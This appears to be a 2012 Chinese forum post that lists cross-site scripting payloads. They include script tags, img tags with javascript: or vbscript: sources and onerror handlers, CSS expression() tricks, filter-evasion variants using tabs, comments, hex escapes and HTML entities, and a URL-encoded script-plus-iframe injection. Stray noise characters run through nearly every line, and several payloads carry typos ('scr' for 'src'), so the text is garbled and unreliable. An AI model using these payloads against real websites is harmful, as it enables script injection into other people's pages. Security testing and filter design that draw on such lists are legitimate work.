<script>alert("跨站")</script> (最常用）* r& y. B. ]' z. N) L
<img scr=javascript:alert("跨站")></img>
/ a9 l1 B! D) }( }1 o% b* ~<img scr="javascript: alert(/跨站/)></img>- g3 M% }$ h4 i. V. }
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）! V; R, I6 z" Y
<img scr="#" onerror=alert(/跨站/)></img>
/ `" E, k9 B! Z) F8 m<img scr="#" style="xss:expression(alert(/xss/));"></img>, Y: [) \3 F4 n& V. ^/ z
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）# K, ^$ V: I! u$ ^5 n
<img src=vbscript:msgbox ("xss")></img>3 T- ?) k, L3 E
<style> input {left:expression (alert('xss'))}</style>
! x0 Q! c4 t9 ^<div style={left:expression (alert('xss'))}></div>
$ q/ v B2 G. S9 i<div style={left:exp/* */ression (alert('xss'))}></div>" Q3 |$ ?3 {, C( f0 ?9 _
<div style={left:\0065\0078ression (alert('xss'))}></div>
# d% g# J2 F, }: f. Q3 zhtml 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>0 I) a0 Y: g& z8 `( g& u5 v
unicode <div style="{left:expRessioN (alert('xss'))}">; q* v4 C1 b# e0 a8 c4 Z2 B# _
# G! u3 q k X! v" F
"]}%3Cscript%3Ealert('我又来啦！.')%3C/script%3E{[&item="]<iframe%20src=WWW.BAIDU.COM%20width=400%20height=600></iframe>["
+ p m0 x. _! | |
发表于 2012-9-15 14:09:13
收藏
支持
反对